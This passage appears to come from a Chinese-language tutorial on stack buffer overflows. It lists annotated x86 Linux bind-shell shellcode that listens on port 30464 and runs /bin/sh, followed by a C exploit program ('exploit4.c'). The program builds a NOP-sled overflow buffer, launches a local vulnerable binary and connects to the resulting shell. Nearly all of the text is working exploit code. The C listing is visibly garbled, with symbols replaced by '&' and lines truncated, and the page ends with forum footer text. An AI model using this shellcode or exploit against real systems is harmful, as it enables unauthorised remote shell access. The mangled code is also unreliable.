17 & & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
19 & & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
1c & & &\xb0\x06& & & & & & & & /* movb $0x6,%al & & & */
1e & & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
21 & & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
23 & & &\xb3\x01& & & & & & & & /* movb $0x1,%bl & & & */
25 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行socket(),eax里面为返回值soc文件描述符 & & & & */
27 & & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
29 & & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
2d & & &\x66\x89\x46\x0c& & & & & /* movw %ax,0xc(%esi) & */
2f & & &\xb0\x77& & & & & & & & /* movb $0x77,%al & & */
31 & & &\x66\x89\x46\x0e& & & & & /* movw %ax,0xe(%esi) & */
35 & & &\x8d\x46\x0c& & & & & & & /* leal 0xc(%esi),%eax & */
38 & & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
3b & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
3d & & &\x89\x46\x10& & & & & & & /* movl %eax,0x10(%esi) */
40 & & &\xb0\x10& & & & & & & & /* movb $0x10,%al & & */
42 & & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
45 & & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
47 & & &\xb3\x02& & & & & & & & /* movb $0x2,%bl & & & */
49 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行bind() & & & & & & & & & & & & & & & */
4b & & &\xeb\x04& & & & & & & & /* jmp 0x4 & & & & & */
& & /* 越过下面的两个跳转 & & & & & & & & & & & & */
4d & & &\xeb\x55& & & & & & & & /* jmp 0x55 & & & & */
& & /* 跳到0x4f+0x55=0xa4 & & & & & & & & & & & & */
4f & & &\xeb\x5b& & & & & & & & /* jmp 0x5b & & & & */
& & /* 跳到0x51+0x5b=0xac & & & & & & & & & & & & */
51 & & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
53 & & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
56 & & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
58 & & &\xb3\x04& & & & & & & & /* movb $0x4,%bl & & & */
5a & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行listen() & & & & & & & & & & & & & & */
5c & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
5e & & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
61 & & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
64 & & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
66 & & &\xb3\x05& & & & & & & & /* movb $0x5,%bl & & & */
68 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行accept(),eax里面为返回值cli文件描述符 & & & & */
6a & & &\x88\xc3& & & & & & & & /* movb %al,%bl & & & */
6c & & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
6e & & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
70 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
72 & & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
74 & & &\xb1\x01& & & & & & & & /* movb $0x1,%cl & & & */
76 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
78 & & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
7a & & &\xb1\x02& & & & & & & & /* movb $0x2,%cl & & & */
7c & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行三个dup2() & & & & & & & & & & & & & & */
7e & & &\xb8\x2f\x62\x69\x6e& & & & /* movl $0x6e69622f,%eax */
& & /* %eax=&/bin& & & & & & & & & & & & & & & & */
83 & & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
85 & & &\xb8\x2f\x73\x68\x2f& & & & /* movl $0x2f68732f,%eax */
& & /* %eax=&/sh/& & & & & & & & & & & & & & & & */
8a & & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
8d & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
8f & & &\x88\x46\x07& & & & & & & /* movb %al,0x7(%esi) & */
92 & & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
95 & & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
98 & & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
9a & & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
9c & & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
9f & & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
a2 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行execve() & & & & & & & & & & & & & & */
& & /* 运行/bin/sh() & & & & & & & & & & & & & & */
a4 & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
a6 & & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
a8 & & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
aa & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & /* 执行exit() & & & & & & & & & & & & & & & */
ac & & &\xe8\x5b\xff\xff\xff&; & & & /* call -0xa5 & & & & */
& & /* 执行0x0c处的指令 & & & & & & & & & & & & & */
------------------------------------------------------------------------
好,长长的shell终于写完了,下面就是攻击程序了。
exploit4.c
------------------------------------------------------------------------
#define ALIGN & & & & & & & & & 0
#define OFFSET & & & & & & & & & 0
#define RET_POSITION & & & & & & 1024
#define RANGE & & & & & & & & & 200
#define NOP & & & & & & & & & 0x90
char shellcode[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x85\xc0& & & & & & & & /* testl %eax,%eax & & */
& & &\x75\x43& & & & & & & & /* jne 0x43 & & & & */
& & &\xeb\x43& & & & & & & & /* jmp 0x43 & & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & &\xb0\x06& & & & & & & & /* movb $0x6,%al & & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x01& & & & & & & & /* movb $0x1,%bl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\x66\x89\x46\x0c& & & & & /* movw %ax,0xc(%esi) & */
& & &\xb0\x77& & & & & & & & /* movb $0x77,%al & & */
& & &\x66\x89\x46\x0e& & & & & /* movw %ax,0xe(%esi) & */
& & &\x8d\x46\x0c& & & & & & & /* leal 0xc(%esi),%eax & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x89\x46\x10& & & & & & & /* movl %eax,0x10(%esi) */
& & &\xb0\x10& & & & & & & & /* movb $0x10,%al & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x02& & & & & & & & /* movb $0x2,%bl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xeb\x04& & & & & & & & /* jmp 0x4 & & & & & */
& & &\xeb\x55& & & & & & & & /* jmp 0x55 & & & & */
& & &\xeb\x5b& & & & & & & & /* jmp 0x5b & & & & */
& & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x04& & & & & & & & /* movb $0x4,%bl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x05& & & & & & & & /* movb $0x5,%bl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x88\xc3& & & & & & & & /* movb %al,%bl & & & */
& & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
& & &\xb1\x01& & & & & & & & /* movb $0x1,%cl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
& & &\xb1\x02& & & & & & & & /* movb $0x2,%cl & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xb8\x2f\x62\x69\x6e& & & & /* movl $0x6e69622f,%eax */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & &\xb8\x2f\x73\x68\x2f& & & & /* movl $0x2f68732f,%eax */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x88\x46\x07& & & & & & & /* movb %al,0x7(%esi) & */
& & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
& & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
& & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
& & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
& & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
& & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xe8\x5b\xff\xff\xff&; & & & /* call -0xa5 & & & & */
unsigned long get_sp(void)
& & __asm__(&movl %esp,%eax&);
long getip(char *name)
& & struct hostent *
& & if((ip=inet_addr(name))==-1)
& & & & & if((hp=gethostbyname(name))==NULL)
& & & & & {
& & & & & & & & fprintf(stderr,&Can't resolve host.\n&);
& & & & & & & & exit(0);
& & & & & }
& & & & & memcpy(&ip,(hp-&h_addr),4);
int exec_sh(int sockfd)
& & char snd[4096],rcv[4096];
& & while(1)
& & & & & FD_ZERO(&rset);
& & & & & FD_SET(fileno(stdin),&rset);
& & & & & FD_SET(sockfd,&rset);
& & & & & select(255,&rset,NULL,NULL,NULL);
& & & & & if(FD_ISSET(fileno(stdin),&rset))
& & & & & {
& & & & & & & & memset(snd,0,sizeof(snd));
& & & & & & & & fgets(snd,sizeof(snd),stdin);
& & & & & & & & write(sockfd,snd,strlen(snd));
& & & & & }
& & & & & if(FD_ISSET(sockfd,&rset))
& & & & & {
& & & & & & & & memset(rcv,0,sizeof(rcv));
& & & & & & & & if(read(sockfd,rcv,sizeof(rcv))&=0)
& & & & & & & & & & exit(0);
& & & & & & & & fputs(rcv,stdout);
& & & & & }
int connect_sh(long ip)
& & int sockfd,i;
& & struct sockaddr_
& & printf(&Connect to the shell\n&);
& & fflush(stdout);
& & memset(&sin,0,sizeof(sin));
& & sin.sin_family=AF_INET;
& & sin.sin_port=htons(30464);
& & sin.sin_addr.s_addr=
& & if((sockfd=socket(AF_INET,SOCK_STREAM,0))&0)
& & & & & printf(&Can't create socket\n&);
& & & & & exit(0);
& & if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))&0)
& & & & & printf(&Can't connect to the shell\n&);
& & & & & exit(0);
void main(int argc,char **argv)
& & char buff[RET_POSITION+RANGE+ALIGN+1],*
& & int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
& & if(argc&1)
& & & & & offset=atoi(argv[1]);
& & sp=get_sp();
& & addr=sp-
& & for(i=0;i & & {
& & & & & buff[i+ALIGN]=(addr&0x000000ff);
& & & & & buff[i+ALIGN+1]=(addr&0x0000ff00)&&8;
& & & & & buff[i+ALIGN+2]=(addr&0x00ff0000)&&16;
& & & & & buff[i+ALIGN+3]=(addr&0xff000000)&&24;
& & for(i=0;i & & & & & buff=NOP;
& & ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
& & for(i=0;i & & & & & *(ptr++)=
& & buff[bsize-1]='\0';
& & printf(&Jump to 0x%08x\n&,addr);
& & if(fork()==0)
& & & & & execl(&./vulnerable&,&vulnerable&,buff,0);
& & & & & exit(0);
& & sleep(5);
& & sockfd=connect_sh(getip(&127.0.0.1&));
& & e

我要回帖

更多关于 单片机堆栈 的文章

 

随机推荐